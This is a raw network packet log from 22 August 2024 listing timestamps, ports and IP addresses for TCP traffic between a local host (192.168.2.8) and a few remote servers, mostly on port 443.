Aug 22, 2024 13:10:53.303679943 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.303739071 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.306082964 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.306092978 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.306353092 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.306483984 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.306963921 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.352508068 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.597070932 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.597846985 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.597856045 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.597898006 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.598373890 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.598417044 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.598428011 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.598455906 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.613687038 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.613733053 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.613825083 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.613850117 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.613859892 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.613909006 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.654444933 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.654459000 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.655143976 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.655164957 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.655232906 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.655473948 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.655484915 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.656811953 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.656840086 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.658915997 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.658943892 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.659008980 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.659595013 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.659610033 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.702908993 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.703012943 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.703133106 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.703156948 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.705658913 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.705682039 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.709837914 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.709862947 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.709939957 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.713859081 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.713871002 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.772389889 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.772432089 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.772519112 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.772540092 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.772552013 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.772584915 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.772613049 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.780663013 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.780675888 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.792571068 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.792604923 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.792665005 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.804116964 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.804131985 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.311605930 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.311748028 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.312555075 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.312566042 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.312876940 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.312882900 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.373892069 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.374104977 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.376535892 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.376535892 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.376550913 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.376569033 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.380158901 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.380233049 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.380497932 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.380505085 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.380616903 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.380621910 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.443869114 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.444076061 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.444681883 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.444696903 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.444890022 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.444900036 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.751924992 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.751986980 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.752042055 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.752060890 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.752067089 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.752105951 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.752110958 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.752154112 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.752156019 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.752213001 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.753052950 CEST	49848	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.753068924 CEST	443	49848	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.758615017 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.758686066 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.758702040 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.758824110 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.758877993 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.758924961 CEST	443	49847	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.758979082 CEST	49847	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.759476900 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.759504080 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.759520054 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.759562016 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.759566069 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.759639025 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.759841919 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.759852886 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.759865046 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:54.759880066 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:54.762185097 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.762244940 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762264013 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.762309074 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762339115 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762372971 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.762528896 CEST	443	49849	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.762579918 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762594938 CEST	49849	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762712002 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762721062 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:54.762774944 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762939930 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:54.762950897 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.019833088 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.019880056 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.019967079 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.019989967 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.020008087 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.020155907 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.020157099 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.020157099 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.020956039 CEST	49850	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.020972967 CEST	443	49850	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.021498919 CEST	49854	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.021543980 CEST	443	49854	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.021655083 CEST	49854	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.021924973 CEST	49854	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.021934986 CEST	443	49854	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.411993027 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.412147045 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.412811041 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.412884951 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.414901018 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.414908886 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.415164948 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.415219069 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.415697098 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.417651892 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.417732000 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.418400049 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.418462038 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.419933081 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.419938087 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.420166969 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.420222998 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.420555115 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.433516979 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.433629990 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.434146881 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.434154034 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.435998917 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.436005116 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.460505962 CEST	443	49853	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.468509912 CEST	443	49851	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.499825001 CEST	49854	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.499890089 CEST	49853	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.499922991 CEST	49851	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.500437975 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.500478983 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.500555038 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.501002073 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.501013994 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.501751900 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.501796007 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.501848936 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.502188921 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:55.502206087 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:55.875178099 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.875238895 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.875256062 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.875297070 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.875303030 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.875338078 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.875346899 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.875390053 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.875500917 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.875540972 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.875570059 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:55.875613928 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.878717899 CEST	49852	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:55.878735065 CEST	443	49852	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:56.151618004 CEST	80	49713	69.42.215.252	192.168.2.8
Aug 22, 2024 13:10:56.151815891 CEST	49713	80	192.168.2.8	69.42.215.252
Aug 22, 2024 13:10:56.157102108 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.157181978 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.157752991 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.157763004 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.159624100 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.159629107 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.162734985 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.163793087 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.164100885 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.164117098 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.164243937 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.164248943 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.547045946 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.547799110 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.547828913 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.547878981 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.549269915 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.549316883 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.549319029 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.549356937 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.550230980 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.550292969 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.550307989 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.550344944 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.551220894 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.551273108 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.551323891 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.621776104 CEST	49855	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.621803999 CEST	443	49855	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.625197887 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:56.625250101 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:56.625313044 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:56.625395060 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.625435114 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.625498056 CEST	49856	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.625498056 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.625509977 CEST	443	49856	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.625720978 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.625734091 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.626137018 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:56.626147032 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:56.626334906 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.626343966 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:56.626362085 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:56.626385927 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.626560926 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:56.626576900 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:56.628396034 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:56.628402948 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:56.628565073 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:56.628577948 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.270895004 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.270987034 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.273061037 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.273137093 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.273386955 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.273449898 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.274513960 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.274527073 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.274796009 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.274851084 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.275144100 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.275152922 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.275321960 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.275329113 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.275491953 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.275712967 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.275717020 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.275825024 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.275829077 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.278321981 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.278389931 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.279855967 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.279860973 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.280136108 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.280189037 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.280503988 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.316531897 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.328499079 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780307055 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.780374050 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.780395031 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780416012 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.780426979 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780469894 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780487061 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.780486107 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780520916 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.780524015 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780543089 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780556917 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.780570984 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780580044 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780596018 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.780622959 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.780627966 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780661106 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.780664921 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780664921 CEST	49861	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780678034 CEST	443	49861	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.780679941 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.780704021 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.780731916 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.780812979 CEST	49859	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.780817986 CEST	443	49859	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.781833887 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.781864882 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.781974077 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.782073021 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.782094002 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.782134056 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.782382965 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.782396078 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.782660961 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:57.782674074 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:57.782974005 CEST	49858	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.782989979 CEST	443	49858	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.783361912 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.783387899 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.783473015 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.783636093 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.783648968 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.857883930 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.857945919 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.857959032 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.857971907 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.858002901 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.858117104 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.858125925 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.858167887 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.858171940 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.858207941 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.858912945 CEST	49860	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.858925104 CEST	443	49860	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.859539032 CEST	49867	443	192.168.2.8	216.58.212.129
